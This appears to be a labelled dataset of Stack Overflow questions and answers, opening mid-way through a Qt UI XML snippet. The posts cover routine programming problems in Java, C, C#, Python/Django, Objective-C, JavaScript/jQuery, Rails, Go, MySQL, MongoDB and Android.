&lt;/property&gt; &lt;property name="checkable"&gt; &lt;bool&gt;false&lt;/bool&gt; &lt;/property&gt; &lt;property name="autoDefault"&gt; &lt;bool&gt;false&lt;/bool&gt; &lt;/property&gt; &lt;property name="default"&gt; &lt;bool&gt;false&lt;/bool&gt; &lt;/property&gt; &lt;property name="flat"&gt; &lt;bool&gt;false&lt;/bool&gt; &lt;/property&gt; &lt;/widget&gt; &lt;/item&gt; &lt;item&gt; &lt;widget class="QPushButton" name="pushButton_3"&gt; &lt;property name="sizePolicy"&gt; &lt;sizepolicy hsizetype="Minimum" vsizetype="Minimum"&gt; &lt;horstretch&gt;0&lt;/horstretch&gt; &lt;verstretch&gt;0&lt;/verstretch&gt; &lt;/sizepolicy&gt; &lt;/property&gt; &lt;property name="text"&gt; &lt;string&gt;Expanding&lt;/string&gt; &lt;/property&gt; &lt;/widget&gt; &lt;/item&gt; &lt;/layout&gt; &lt;/widget&gt; &lt;resources/&gt; &lt;connections/&gt; &lt;/ui&gt; </code></pre>
7710543	0	How to read mbox email messages using mstor <p>I am using mstor to read the mbox email messages, but i am not able to connect to the store using the urlName name which i m passing, by default its connecting to other location on my macbine.Do i need to create the store using mstor JCR before proceed to connect to the store?</p> <pre><code> Session session = Session.getDefaultInstance(new Properties()); Store store = session.getStore(new URLName("mstor:C:/mailbox/MyStore/Inbox")); store.connect(); Folder inbox = store.getDefaultFolder().getFolder("inbox"); inbox.open(Folder.READ_ONLY); Message m = inbox.getMessage(0); </code></pre> <p>Any suggetions are helpful</p> <p>Thanks in advance..</p>
21682725	1	TypeError django context using custom class <p>I am new to python and django, and I am trying to pass a class to my <code>RequestContext</code> in a template. So I have this code:</p> <pre><code>context = RequestContext(request, { 'test' : myClass, }) </code></pre> <p>And myClass is an instance of this:</p> <pre><code>class ajax_user_session(): user_model = None user_settings = None time_login = datetime.datetime.now() </code></pre> <p>Both <code>user_model</code> and <code>user_settings</code> are classes derived from django's <code>models.Model</code> (assigned before creating and using the context class). I get the following error:</p> <pre><code>TypeError at /settings &lt;playground.ajax_processing.ajax_user_session instance at 0x263fab8&gt; is not JSON serializable </code></pre> <p>Does somebody know how to solve this, please? I can assign "normal" variables like strings, integers, but I don't want to add several things to the dictionary, I just want to use one big class.</p> <p>Thank you.</p>
35934931	0	 <p>As I spend some time with a similar issue, I feel its worth sharing:</p> <ol> <li>If you want to display video fullscreen: dont use html tag as there is a media plugin for that. If you dont need to play offline: the video src pointing to a web server will work just fine.</li> <li>If you need to play offline and the video is part of your app package, have a look to <a href="https://github.com/jaeger25/Html5Video" rel="nofollow">https://github.com/jaeger25/Html5Video</a> (it help to automatically copy the video files in a public location)</li> <li>If you need to play offline videos dynamically downloaded: (my case) <ul> <li>Use fileTransfer plugin</li> <li>Save file in cordova.file.externalDataDirectory as its public</li> <li>In some case you may need to force the file to be public</li> <li>you can do that by adding 'file.setReadable(true, false);' to FileTransfer.java line 820</li> </ul></li> </ol> <p>Cheers</p>
29133925	0	Declaring an extern variable in a header file <p>I have declared an extern <strong>global</strong> variable inside my main.<strong>h</strong> header file like this:</p> <pre><code>extern int variable; </code></pre> <p>Then, I defined the same global variable inside my main.<strong>c</strong> file like this:</p> <pre><code>int variable = 16; </code></pre> <p>The thing is that I am using another file called <strong>test.c</strong>, and I have included main.<strong>h</strong> header included inside. But I cannot gain access the the "<strong>16</strong>" value that I defined the extern with inside main.<strong>c</strong>. When I call "variable" inside <strong>test.c</strong>, the value of "variable" is "<strong>0</strong>". Should not any .c file that includes my main.<strong>h</strong> header have access to the "<strong>16</strong>" value since I have already defined my "variable" inside main.<strong>c</strong>???</p> <p>Thanks</p>
20936803	0	 <p>For words (and I mean words not .com etc) this is simple</p> <p>You just want to pregmatch</p> <pre><code>'/\b' . $badword . '\b/' </code></pre> <p>\b is a word boundary</p> <p>for full stops you must escape them . to mean them literally (without \ they actually mean and character in a regex) so I would either write a function that looks for full stops and then adds a \ before them or just add them straight into your list with the \ already appended.</p>
11944486	0	multicast socket - will not work when computer wakes up from sleep <p>Hi guys I have a multicast socket that is receiving packets and is working fine.</p> <p>I had an issue though where when my computer wakes up from sleep the multicast socket does not work. Continually timing out:</p> <pre><code>MulticastSocket socket; \\initialise socket.. while (running) { try { synchronized (syncRoot) { socket.setSoTimeout(WAIT_TIME); socket.receive(recv); //Do Something... } } catch (SocketTimeoutException e) { } </code></pre> <p>Currently when my computer wakes up from windows sleep mode it continually throws a socket exception when I no their are packets being sent. I have checked variables socket.isBound(), socket.isClosed(), socket.isConnected() and they have not changed from when it was working. Am I missing a variable? Even when the socket is working it returns isConnected() = false, isBound() = true, isClosed() = false.</p> <p>Do I need to do something like count the number of SocketTimeoutExceptions if i get 10 then reinitialise my multicast socket?</p>
8510557	0	How to install LXC (or other linux container) on centOS 5 (2.6.18 kernel) without modify kernel? <p>[Background]</p> <p>I would like to regulate the resource allocation between different processes running on CentOS 5. I am not familiar with related tools. I have searched for a while and think LXC may be a good choice (Please correct me if I am wrong). But the problem is that the kernel version of our CentOS is 2.6.18, which does not have LXC built in. And it is a shared cluster. I do have sudo authority but I am not allowed to modify the kernel. The tutorials I found all require to modify the kernel or recompile it somehow. </p> <p>[Question]</p> <p>How can I install and use LXC (or other light weight linux virtualization tools) on CentOS 5 (2.6.18 kernel) without modify the kernel?</p> <p>Thanks</p>
39233172	0	NSXMLParser not recognizing local xml file <p>I have some code that builds a path to an xml file on a local computer. The path to the XML file is correct but when I convert my path to a URL for parsing purposes it then says the parse is "bad". I am new to objective-C and I am not sure if perhaps because the file extension is not .xml? All the files I am looking for have the extensions listed in my code below. Any help would be greatly appreciated. </p> <pre><code>- (void)parseXMLFile { //Create path to users motion files. NSString *beginning = @"/Users/"; NSString *user = NSUserName(); NSString *docPath =@"/myLocalPath/"; NSString *combined = [NSString stringWithFormat:@"%@%@%@", beginning, user, docPath]; NSDirectoryEnumerator *dirEnum = [[NSFileManager defaultManager] enumeratorAtPath:combined]; NSString *filename; NSMutableArray *motionPaths = nil; while ((filename = [dirEnum nextObject])) { if([[filename pathExtension] compare: @"moti"] == NSOrderedSame || [[filename pathExtension] compare: @"moef"] == NSOrderedSame || [[filename pathExtension] compare: @"motr"] == NSOrderedSame || [[filename pathExtension] compare: @"motn"] == NSOrderedSame) { NSString *fullPath = [NSString stringWithFormat:@"%@%@", combined, filename]; motionPaths = [NSMutableArray new]; [motionPaths addObject:fullPath]; NSLog(@"First Motion File Path: %@",[motionPaths firstObject]); NSURL *url = [NSURL URLWithString:[[motionPaths firstObject] stringByAddingPercentEscapesUsingEncoding:NSUTF8StringEncoding]]; self.parser = [[NSXMLParser alloc] initWithContentsOfURL:url]; self.parser.delegate = self; [self.parser parse]; NSLog(@"%@", url); NSLog( @"XML file was %@.", [self.parser parse] ? @"good" : @"bad" ); } } } </code></pre>
20180248	0	 <p>You also have to initialise the ArrayList</p> <pre><code>ArrayList&lt;CheckBox&gt; ethChecks = new ArrayList&lt;CheckBox&gt;(); </code></pre>
39248199	0	Accessing the Auth object in AngularFire2 <p>I am trying to access the auth object in angular2 using firebase but I have become confused. I can see the user auth credentials in the console but the auth variable seems to be null.</p> <p><strong>app.component.ts</strong></p> <pre><code>import { Component } from '@angular/core'; import { AngularFire, FirebaseListObservable } from 'angularfire2'; import { AuthProviders, AuthMethods } from 'angularfire2'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { title = 'app works!'; constructor(public af: AngularFire) { this.af.auth.subscribe(auth =&gt; console.log(auth)); //nothing in the console console.log(this.af.auth); // shows AngularFireAuth object with user credentials but says it is private } login() { console.log("logging in..."); this.af.auth.login({ provider: AuthProviders.Google, method: AuthMethods.Popup, }); } } </code></pre> <p><strong>app.component.html</strong></p> <pre><code>&lt;div *ngIf="auth"&gt;You are logged in&lt;/div&gt; &lt;div *ngIf="!auth"&gt;Please log in&lt;/div&gt; </code></pre> <p>The <code>auth</code> variable appears to be null even though <code>console.log(this.af.auth);</code> is showing the user credentials and therefore only <code>Please log in</code> is displayed in the html.</p>
29207816	0	 <p>You start by adding a method to your controller</p> <pre><code>def update_fname # get the parameters fname = params[:fname] # get the employee ID id = params[:id] # find the employee @employee = Employee.find(id) # update the employee employee.update_attributes(fname: fname) redirect_to @employee end </code></pre> <p>Then, in your route, you add:</p> <pre><code>resources :employees do get 'update_fname' end </code></pre> <p>And you call the route, who should be <code>http://localhost:3000/employees/{:id}/update_fname?fname={your_fname}</code></p>
38971737	0	How to catch "Nrpe unable to read output" when occured? <p>I'm trying to catch "nrpe unable to read output" output from plugin and send an email when this one occurs and I'm a little bit stuck :) . Thing is there are different return codes when this error occurs on different plugin: </p> <p>Return code Service status</p> <p>0 OK</p> <p>1 WARNING</p> <p>2 CRITICAL</p> <p>3 UNKNOWN</p> <p>Is there a way either to unify return codes of all plugins I use(that there always will be 2[CRITICAL] when this problem occurs), or any other way to catch those alerts? I want to keep return codes for different situations as is(i.e. filesystem /home will be warning(return code 1) for 95% and critical(return code 2) for 98%</p>
8709184	0	trouble with ProcessBuilder <pre><code>// following code works fine n open notepad... class demo { public static void main(String args[]) { try{ ProcessBuilder pb=new ProcessBuilder("notepad"); pb.start(); }catch(Exception e) {System.out.print(e);} } } //however the above code throws an exception when any other system program is executed class demo { public static void main(String args[]) { try{ ProcessBuilder pb=new ProcessBuilder("calculator"); pb.start(); }catch(Exception e) {System.out.print(e);} } } </code></pre> <p>the above program throws following exception:</p> <pre><code>java.io.IOException: Cannot run program "Calculator": CreateProcess error=2, The system cannot find the file specified </code></pre>
27996818	0	img Inside a foreignObject Inside an svg Inside an img <p>Here is my test case.</p> <p><a href="http://tobeythorn.com/isi/dummy2.svg" rel="nofollow">http://tobeythorn.com/isi/dummy2.svg</a></p> <p><a href="http://tobeythorn.com/isi/isitest.html" rel="nofollow">http://tobeythorn.com/isi/isitest.html</a></p> <ul> <li><p>If I just open the svg by itself, the inner img is rendered fine.</p></li> <li><p>But when I make this svg the src of an img, the inner img is not rendered. I receive no errors.</p></li> <li><p>If I make the inner img a data-url, it gets rendered. If possible, I would like to avoid data-urls, as they complicate things, have size limitations, and cannot be cached.</p></li> <li><p>The same thing happens in FF, Chrome, Opera, and Safari.</p></li> </ul> <p>I can't find a solution, but possibly related: <a href="http://stackoverflow.com/questions/15971905/foreignobject-inside-second-svg-element-for-chrome">foreignObject inside second SVG element for Chrome</a></p> <p>Cross-origin issue?</p> <p>Limitation of the spec?</p> <p>Browser bug?</p>
13417624	0	Why PhpStorm inspection says `Exception` is undefined? <p><code>PhpStorm</code> doesn't recognize <code>Exception</code> from some reason. The code executes fine, but I cannot "go to" code (which should send me to <code>Core_c.php</code>):</p> <p><img src="https://i.stack.imgur.com/JkxXd.png" alt="enter image description here"></p>
22434183	0	Displaying image from db to picturebox winforms c# <p>Iam doing a winforms application to insert an image to a database(sql server 2008)and retrieve an image from database into a picture box.The code for inserting works perfectly.While the code for retrieving show's up an error parameter not Valid.I was trying various solutions found by goggling but none of them succeeded.</p> <p>Here is my code for retrieving</p> <pre><code> private void button2_Click(object sender, EventArgs e) { FileStream fs1 = new FileStream("D:\\4usdata.txt", FileMode.OpenOrCreate,FileAccess.Read); StreamReader reader = new StreamReader(fs1); string id = reader.ReadToEnd(); reader.Close(); int ide = int.Parse(id); con.Open(); SqlCommand cmd = new SqlCommand("select img from tempdb where id='" + id + "'", con); //cmd.CommandType = CommandType.Text; //object ima = cmd.ExecuteScalar(); //Stream str = new MemoryStream((byte[])ima); //pictureBox1.Image = Bitmap.FromStream(str); SqlDataAdapter dp = new SqlDataAdapter(cmd); DataSet ds = new DataSet(); dp.Fill(ds); int c = ds.Tables[0].Rows.Count; if (c ==1) { Byte[] MyData = new byte[0]; MyData = (Byte[])ds.Tables[0].Rows[0]["img"]; MemoryStream stream = new MemoryStream(MyData); stream.Position = 0; pictureBox1.Image = Image.FromStream(stream); } } </code></pre>
35412449	0	Why did Go add panic and recover in addition to error handling? <p>Why did Go end up adopting exception handling with panic/recover, when the language is so idiomatic and a strong advocate of error codes? What scenarios did the designers of Go envision not handled by error codes and necessitate panic/recover?</p> <p>I understand convention says limit panic/recover, but does the runtime also limit them in ways that they can't be used as general throw/catch in C++?</p>
36988817	0	 <p>In what I say below, KAAZING_GATEWAY_HOME represents the directory in which you installed the Kaazing JMS Gateway.</p> <p>There are several moving parts - the client, the Kaazing JMS Gateway, and the EMS back-end. The problem could be the Kaazing JMS Gateway connecting to EMS on the back end, or there could be an issue with the client trying to connect to the Kaazing JMS Gateway. There is not much detail yet. In order for us to troubleshoot, one way to provide more detail is to make the logging on the Kaazing JMS Gateway more verbose.</p> <p>The log is by default written to KAAZING_GATEWAY_HOME/log/. There are several there but the main log is error.log. Its default LOG4J configuration is in KAAZING_GATEWAY_HOME/conf/log4j-config.xml. You can get more diagnostics for the connection issues on both ends by replacing the contents of that file with the following (you can make a backup copy to restore the default log configuration later):</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8" ?&gt; &lt;!DOCTYPE log4j:configuration SYSTEM "log4j.dtd"&gt; &lt;log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/"&gt; &lt;appender name="ErrorFile" class="org.apache.log4j.RollingFileAppender"&gt; &lt;param name="File" value="${GATEWAY_LOG_DIRECTORY}/error.log"/&gt; &lt;param name="Append" value="false"/&gt; &lt;layout class="org.apache.log4j.PatternLayout"&gt; &lt;param name="ConversionPattern" value="%d [%t] %-5p %m%n"/&gt; &lt;/layout&gt; &lt;/appender&gt; &lt;appender name="STDOUT" class="org.apache.log4j.ConsoleAppender"&gt; &lt;layout class="org.apache.log4j.PatternLayout"&gt; &lt;param name="ConversionPattern" value="%d [%t] %-5p %m%n"/&gt; &lt;/layout&gt; &lt;/appender&gt; &lt;logger name="transport"&gt; &lt;level value="trace"/&gt; &lt;/logger&gt; &lt;logger name="com.kaazing.gateway.jms"&gt; &lt;level value="trace"/&gt; &lt;/logger&gt; &lt;logger name= "service.stomp.jms"&gt; &lt;level value="trace"/&gt; &lt;/logger&gt; &lt;logger name= "service.jms"&gt; &lt;level value="trace"/&gt; &lt;/logger&gt; &lt;root&gt; &lt;priority value="info"/&gt; &lt;appender-ref ref="ErrorFile"/&gt; &lt;appender-ref ref="STDOUT"/&gt; &lt;/root&gt; &lt;/log4j:configuration&gt; </code></pre> <p>Once you have copied that in place, try connecting again. If you see no logging in the gateway for the connection attempts from your client, it means there is an issue in the client code or configuration, between the client and the gateway, or on the client machine itself. Otherwise, please share the results of updating this. The results should be time-stamped so you can tell which log entries correspond to your attempts to connect.</p> <p>You can share your logs here, or directly to me at the address below.</p> <p>Please keep us posted. Best regards, Dan Smith, Kaazing Global Support daniel.smith@kaazing.com</p>
17866798	0	How to keep decimal rounded to two places? <p>So All of my decimals are rounded to two places. However when I click on "keyboard or mouse" image the decimal place is roughly ten digits long( for example:36.900000000000006). How do I stop this. I've tried using ".toFixed(), and .toPrecision().</p> <p>here is a link to the page... much easier to do this than create a fiddle.</p> <p><a href="http://www.ootpik.info/lauren/ootpik5/gethardware.html" rel="nofollow">http://www.ootpik.info/lauren/ootpik5/gethardware.html</a></p> <p>I've added a fiddle: <a href="http://jsfiddle.net/lolsen7/8uwGH/3/" rel="nofollow">http://jsfiddle.net/lolsen7/8uwGH/3/</a></p> <p>script</p> <pre><code>$(document).ready(function() { $(".part,.extra").mouseover(function() { if(this.className !== 'part selected') { $(this).attr('src', 'images/placeholder/get_hardware/' + this.id + '.png'); } $(this).mouseout(function(){ if(this.className !== 'part selected') { $(this).attr('src', 'images/placeholder/get_hardware/' + this.id + '_grey.png'); } }); }); var list = document.getElementById("list"); var summaryTotal = document.getElementById("summaryTotal"); var touchtotal = 13.89; var minitotal = 19.47; var constant = touchtotal + minitotal; $('#finaltotal').text(constant); //station one var keyboard2 = 59; var mouse2 = 59; var printer = 345; var scale2 = 530; var display = 175; var single = 132; var multi = 260; var scannerTotal = 0; var cash = 100; var storage = 125; var registerTotal = 0; //extras var ipad = 349; var ipadTotal = 0; var mobilePrinter = 570; var mobileTotal = 0; var printer2 = 345; var printer2Total = 0; $(".part").click(function(){ var name = this.id; var liname = this.alt; var total = parseFloat((eval(name) * 1.2) /40); if(this.className != 'part selected') { $(this).attr('src','images/placeholder/get_hardware/' + name + '.png'); if(name !== 'multiBar' &amp;&amp; name !== 'singleBar' &amp;&amp; name !== 'storageDrawer' &amp;&amp; name !== 'cashDrawer' ) { //generate list items var li = document.createElement("li"); li.setAttribute("id",name + "_li"); li.appendChild(document.createTextNode(liname)); list.appendChild(li); //touchscreen and mac mini pricing constant = constant + total; $('#finaltotal').text(constant); } //Scanners if clicked on else if(name == "multiBar" || name == "singleBar"){ $(".tooltip").show(); $("input").change(function(e){ if($(this).attr("checked", "true")) { if(this.value == "one") { // hide and show images based on radio selection $('#singleBar').attr('src','images/placeholder/get_hardware/singleBar.png'); $('#singleBar').show(); $('#singleBar').toggleClass('selected'); $('#multiBar').hide(); //list item if($('#single_li').length &gt; 0) { $('#single_li').remove(); } if($('#multi_li').length &gt; 0) { $('#multi_li').remove(); } li = document.createElement("li"); li.setAttribute("id","single_li"); li.appendChild(document.createTextNode("Single-line Barcode Scanner")); list.appendChild(li); //pricing if(scannerTotal !== 0) { constant = constant - scannerTotal; } scannerTotal = (single * 1.2) /40; constant = constant + scannerTotal; $('#finaltotal').text(constant); }else if(this.value == "two") { //hide and show images based on radio selection $('#multiBar').attr('src','images/placeholder/get_hardware/multiBar.png'); $('#multiBar').show(); $('#singleBar').hide(); //list item if($('#multi_li').length &gt; 0){ $('#multi_li').remove(); } if($('#single_li').length &gt; 0){ $('#single_li').remove(); } li = document.createElement("li"); li.setAttribute("id","multi_li"); li.appendChild(document.createTextNode("Multi-line Barcode Scanner")); list.appendChild(li); if(scannerTotal !== 0){ constant = constant - scannerTotal; } scannerTotal = (multi * 1.2) /40; constant = constant + scannerTotal; $('#finaltotal').text(constant); } } }); } //if register is clicke on else if(name =="storageDrawer" || name == "cashDrawer"){ $('.tooltip2').show(); $('input').change(function(){ if($(this).attr("checked","true")) { if(this.value == "three") { //hide and show images based on radio button selection $('#cashDrawer').attr('src','images/placeholder/get_hardware/cashDrawer.png'); $('#cashDrawer').show(); $("#storageDrawer").hide(); //list items if($('#cash_li').length &gt; 0){ $('#cash_li').remove(); } if($('#storage_li').length &gt; 0){ $('#storage_li').remove(); } li = document.createElement("li"); li.setAttribute('id','cash_li'); li.appendChild(document.createTextNode("Cash Drawer")); list.appendChild(li); //pricing if(registerTotal !== 0){ constant = constant - registerTotal; } registerTotal = (cash * 1.2)/40; constant = constant + registerTotal; $('#finaltotal').text(constant); }else if(this.value == "four") { $('#storageDrawer').attr('src','images/placeholder/get_hardware/storageDrawer.png'); $('#storageDrawer').show(); $('#cashDrawer').hide(); //list items if($('#storage_li').length &gt; 0){ $('#storage_li').remove(); } if($('#cash_li').length &gt; 0){ $('#cash_li').remove(); } li = document.createElement('li'); li.setAttribute('id','storage_li'); li.appendChild(document.createTextNode("Premium Cash Drawer")); list.appendChild(li); //pricing if(registerTotal !== 0){ constant = constant - registerTotal; } registerTotal = (storage * 1.2)/40; constant = constant + registerTotal; $('#finaltotal').text(constant); } } }); } $(this).toggleClass('selected'); } else if (this.className == 'part selected') { $(this).attr('src','images/placeholder/get_hardware/' + name + '_grey.png'); if(name !== 'multiBar' &amp;&amp; name !== 'singleBar' &amp;&amp; name !== 'storageDrawer' &amp;&amp; name !== 'cashDrawer') { constant = constant - total; $('#finaltotal').text(constant); $("#" + name + "_li").remove(); } //Scanners else if(name == 'multiBar' || name == 'singleBar') { //Hides Tooltip when de-selecting item $(".tooltip").hide(); // removes pricing console.log(scannerTotal); constant = constant - scannerTotal; scannerTotal = 0; $('#finaltotal').text(constant); //Removes any List items if($('#multi_li').length &gt; 0) { $('#multi_li').remove(); } if($('#single_li').length &gt; 0) { $('#single_li').remove(); } //Sets Inputs to deselected $("input[name='group1']").attr("checked",false); } //cash drawers || registers else if(name == 'storageDrawer' || name == 'cashDrawer') { $('.tooltip2').hide(); //removes pricing console.log(registerTotal); constant = constant - registerTotal; registerTotal = 0; $('#finaltotal').text(constant); //remove any list items if($('#storage_li').length &gt; 0) { $('#storage_li').remove(); } if($('#cash_li').length &gt; 0) { $('#cash_li').remove(); } //Sets Inputs to deselected $("input[name='group2']").attr("checked",false); } $(this).toggleClass('selected'); } }); $(".numbers-row").append('&lt;div class="inc buttons"&gt;+&lt;/div&gt;&lt;div class="dec buttons"&gt;-&lt;/div&gt;'); $(".buttons").on("click", function() { var $buttons = $(this); var oldValue = $buttons.parent().find("input").val(); if ($buttons.text() == "+") { var newVal = parseFloat(oldValue) + 1; if(newVal &gt; 2 ){ return; } } else { // Don't allow decrementing below zero if (oldValue &gt; 0) { var newVal = parseFloat(oldValue) - 1; } else { newVal = 0; } } $buttons.parent().find("input").val(newVal); if($buttons.parent().attr('class') == 'numbers-row ipad'){ if($('#ipad_mini_extra').length &gt; 0){ $('#list').children('#ipad_mini_extra').remove(); //remove pricing if(newVal == 0){ constant = constant - ipadTotal; console.log(ipadTotal); $('#finaltotal').text(constant); } } if(newVal !== 0){ $('#ipad').attr('src',"images/placeholder/get_hardware/ipad.png"); $('#list').append('&lt;li id="ipad_mini_extra"&gt;' + newVal + ' iPad mini(s) &lt;/li&gt;'); //add pricing if(ipadTotal !== 0){ constant = constant - ipadTotal; } if(newVal == 1){ ipadTotal = (ipad * 1.2) /40; console.log(ipadTotal); constant = constant + ipadTotal; $('#finaltotal').text(constant); } if(newVal == 2){ ipadTotal = ((ipad * 2) * 1.2)/40; console.log(ipadTotal) constant =constant + ipadTotal; $('#finaltotal').text(constant); } } else{ $('#ipad').attr('src',"images/placeholder/get_hardware/ipad_grey.png"); } } if($buttons.parent().attr('class') == 'numbers-row mobile') { if($('#mobile_extra').length &gt; 0) { $('#list').children('#mobile_extra').remove(); //remove pricing if(newVal == 0){ constant = constant - mobileTotal; console.log(mobileTotal); $('#finaltotal').text(constant); } } if(newVal !== 0) { $('#mobilePrinter').attr('src',"images/placeholder/get_hardware/mobilePrinter.png"); $('#list').append('&lt;li id="mobile_extra"&gt;' + newVal + ' Mobile Printer(s) &lt;/li&gt;'); //add pricing if(mobileTotal !== 0){ constant = constant - mobileTotal; } if(newVal == 1){ mobileTotal = (mobilePrinter * 1.2) /40; console.log(mobileTotal); constant = constant + mobileTotal; $('#finaltotal').text(constant); } if(newVal == 2){ mobileTotal = ((mobilePrinter * 2) * 1.2)/40; console.log(mobileTotal) constant =constant + mobileTotal; $('#finaltotal').text(constant); } } else { $('#mobilePrinter').attr('src',"images/placeholder/get_hardware/mobilePrinter_grey.png"); } } if($buttons.parent().attr('class') == 'numbers-row printer2') { if($('#printer2_extra').length &gt; 0) { $('#list').children('#printer2_extra').remove(); //remove pricing if(newVal == 0){ constant = constant - printer2Total; console.log(printer2Total); $('#finaltotal').text(constant); } } if(newVal !== 0) { $('#printer2').attr('src',"images/placeholder/get_hardware/printer2.png"); $('#list').append('&lt;li id="printer2_extra"&gt; ' + newVal + ' Kitchen/Bar/Expo Printer(s) &lt;/li&gt;'); //add pricing if(printer2Total !== 0){ constant = constant - printer2Total; } if(newVal == 1){ printer2Total = (printer2 * 1.2) /40; console.log(printer2Total); constant = constant + printer2Total; $('#finaltotal').text(constant); } if(newVal == 2){ printer2Total = ((printer2 * 2) * 1.2)/40; console.log(printer2Total) constant =constant + printer2Total; $('#finaltotal').text(constant); } } else { $('#printer2').attr('src',"images/placeholder/get_hardware/printer2_grey.png"); } } }); }); </code></pre>
7475390	0	 <p>You tagged your question <code>mysql</code> but the special outer join syntax you're using is a proprietary invention of Oracle. </p> <p>MySQL does not support the <code>(+)</code> join modifier syntax in any position.</p> <p>Why not use ANSI SQL-92 syntax for <code>LEFT OUTER JOIN</code> and <code>RIGHT OUTER JOIN</code>? Then your queries would be clear, and would work in both Oracle and MySQL.</p> <pre><code>SELECT emp_no, emp_name, emp.dept_no, dept_name, loc FROM emp LEFT OUTER JOIN dept ON emp.dept = dept.dept_no </code></pre>
13982326	0	mongodb sparse indexes and shard key <p>I looked through the docs, and couldn't find a clear answer</p> <p>Say I have a sparse index on [a,b,c] </p> <ol> <li><p>Will documents with "a" "b" fields but not "c" be inserted to the index? </p></li> <li><p>Is having the shard key indexed obligatory in the latest mongodb version ? </p></li> <li><p>If so, is it possible to shard on [a] using the above compound sparse index? (say a,b will always exist)</p></li> </ol>
1728706	0	 <p>The <code>start</code> event is a tricksy faux one. What you need to do is attach your code to cancel event bubbling directly to the <code>mousedown</code> event of the <code>ul</code> itself, and make sure your event handler is executed first.</p> <p>You'll see in the jQuery docs for <code>event.stopPropagation</code> this little line:</p> <blockquote> <p>Note that this will not prevent other handlers on the same element from running.</p> </blockquote> <p>So, whilst <code>event.stopPropagation</code> will stop the event bubbling any further up the DOM, it won't stop the other event handlers attach to the <code>ul</code> being called. For that you need <code>event.stopImmediatePropagation</code> to stop the <code>selectable</code> event handler getting called.</p> <p>Based on the <a href="http://jqueryui.com/demos/selectable/" rel="nofollow noreferrer">selectable demo page</a>, this code snippet successfully cancels the bubble:</p> <pre><code>$(function() { $("#selectable").mousedown(function (evt) { evt.stopImmediatePropagation(); return false; }); $("#selectable").selectable(); }); </code></pre> <p>Note that you must add your event handler to the <code>ul</code> object <em>before</em> you execute the <code>.selectable()</code> setup function in order to sneak in and pop the event bubble first.</p>
40599246	0	ArrayList not updating after using .clear() <p>I'm new to Android development, so please bear with me.</p> <p>I have a custom ArrayAdapter which I want to update by swiping down to refresh.</p> <p>I understand that in order to do this I need to:</p> <ul> <li>clear the ArrayList that holds my data (with .clear())</li> <li>Update the ArrayList with the new data (using the getAbsentTeachers() method)</li> <li>use notifyDataSetChanged() on the ArrayAdapter</li> </ul> <p>After I clear the ArrayList, call getAbsentTeachers() and notifyDataSetChanged() the ArrayList appears to remain empty even though getAbsentTeachers() is beeing called. I know this because nothing is displayed in my ListView. </p> <p>getAbsentTeachers() populates the ArrayList fine when my app is first launched however it doesn't seem to work when I call it again to update the ArrayList.</p> <p>Any ideas as to why the array is not beeing updated?</p> <p><strong>MainActivity.java:</strong> package uk.co.bobsmith.drawview.drawviewtest;</p> <pre><code>public class MainActivity extends AppCompatActivity implements NavigationView.OnNavigationItemSelectedListener { private ArrayList&lt;Absent&gt; absences = new ArrayList&lt;&gt;(); private SwipeRefreshLayout swipeContainer; @Override protected void onCreate(Bundle savedInstanceState) { //---------------------INITIALISING PARSE------------------------------- Parse.enableLocalDatastore(this); // Add your initialization code here Parse.initialize(new Parse.Configuration.Builder(getApplicationContext()) //Information obscured for privacy - tested and working though. .applicationId("") .clientKey(null) .server("") .build() ); ParseUser.enableAutomaticUser(); ParseACL defaultACL = new ParseACL(); // Optionally enable public read access. // defaultACL.setPublicReadAccess(true); ParseACL.setDefaultACL(defaultACL, true); ParseInstallation.getCurrentInstallation().saveInBackground(); ParsePush.subscribeInBackground("Absent"); //-----------------------CREATE ADAPTER OBJECT-------------------------------- getAbsentTeachers(); final ListView lv = (ListView)findViewById(R.id.listView); final ArrayAdapter&lt;Absent&gt; adapter = new absenceArrayAdapter(this, 0, absences); lv.setAdapter(adapter); swipeContainer = (SwipeRefreshLayout) findViewById(R.id.swipeContainer); // Setup refresh listener which triggers new data loading swipeContainer.setOnRefreshListener(new SwipeRefreshLayout.OnRefreshListener() { @Override public void onRefresh() { // Code to refresh the list. absences.clear(); getAbsentTeachers(); adapter.notifyDataSetChanged(); swipeContainer.setRefreshing(false); // Call swipeContainer.setRefreshing(false) when finished. } }); } // Populates absences ArrayList with absence data public void getAbsentTeachers() { ParseQuery&lt;ParseObject&gt; query = ParseQuery.getQuery("Absences"); query.findInBackground(new FindCallback&lt;ParseObject&gt;() { @Override public void done(List&lt;ParseObject&gt; objects, ParseException e) { if(e == null){ for(ParseObject object : objects){ String name = String.valueOf(object.get("name")); Log.i("Name", name); String desc = String.valueOf(object.get("description")); Log.i("Description", desc); absences.add(new Absent(name, desc, "employees")); } } else { Log.i("Get data from parse", "There was an error getting data!"); e.printStackTrace(); } } }); } //custom ArrayAdapter class absenceArrayAdapter extends ArrayAdapter&lt;Absent&gt; { private Context context; private List&lt;Absent&gt; absencesList; public absenceArrayAdapter(Context context, int resource, ArrayList&lt;Absent&gt; objects) { super(context, resource, objects); this.context = context; this.absencesList = objects; } public View getView(int position, View convertView, ViewGroup parent) { //get the property we are displaying Absent teacher = absencesList.get(position); //get the inflater and inflate the XML layout for each item LayoutInflater inflater = (LayoutInflater) context.getSystemService(Activity.LAYOUT_INFLATER_SERVICE); View view = inflater.inflate(R.layout.custom_listview, null); TextView name = (TextView) view.findViewById(R.id.name); TextView description = (TextView) view.findViewById(R.id.description); ImageView teacherImage = (ImageView) view.findViewById(R.id.imageView); String teacherName = teacher.getTeacherName(); name.setText(teacherName); int descriptionLength = teacher.getDescription().length(); if(descriptionLength &gt;= 75){ String descriptionTrim = teacher.getDescription().substring(0, 75) + "..."; description.setText(descriptionTrim); }else{ description.setText(teacher.getDescription()); } return view; } } } </code></pre>
